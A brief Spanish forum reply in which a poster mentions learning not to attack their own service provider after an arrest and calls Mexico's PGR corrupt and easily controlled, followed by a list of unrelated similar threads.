
Hola,

Ángel no me sabía esa regla, la tomé en cuenta desde el día de mi arresto.
Pero no sabía que era una regla no atacar a tu proveedor de servicios.
Y en cuanto a la PGR, es la Procuradoría General de la República, de México.
Son unos corruptos que cualquier idiota incompetente entra y controla a su gusto.
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Far cry demo 2
Juegos y Consolas
Ner0n 1 1,486 Último mensaje 8 Julio 2004, 05:05 am
por DARKNESS
Fifa 07 Demo
Juegos y Consolas
istego 0 1,287 Último mensaje 21 Septiembre 2006, 20:46 pm
por istego
****** **** ** demo « 1 2 3 »
Ingeniería Inversa
V.I.H 21 9,480 Último mensaje 21 Octubre 2007, 11:31 am
por Shaddy
Pascal vs C++: Pascal mejor que c++?
Programación General
Bomb-P 4 10,093 Último mensaje 11 Mayo 2013, 20:42 pm
por BlackM4ster
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines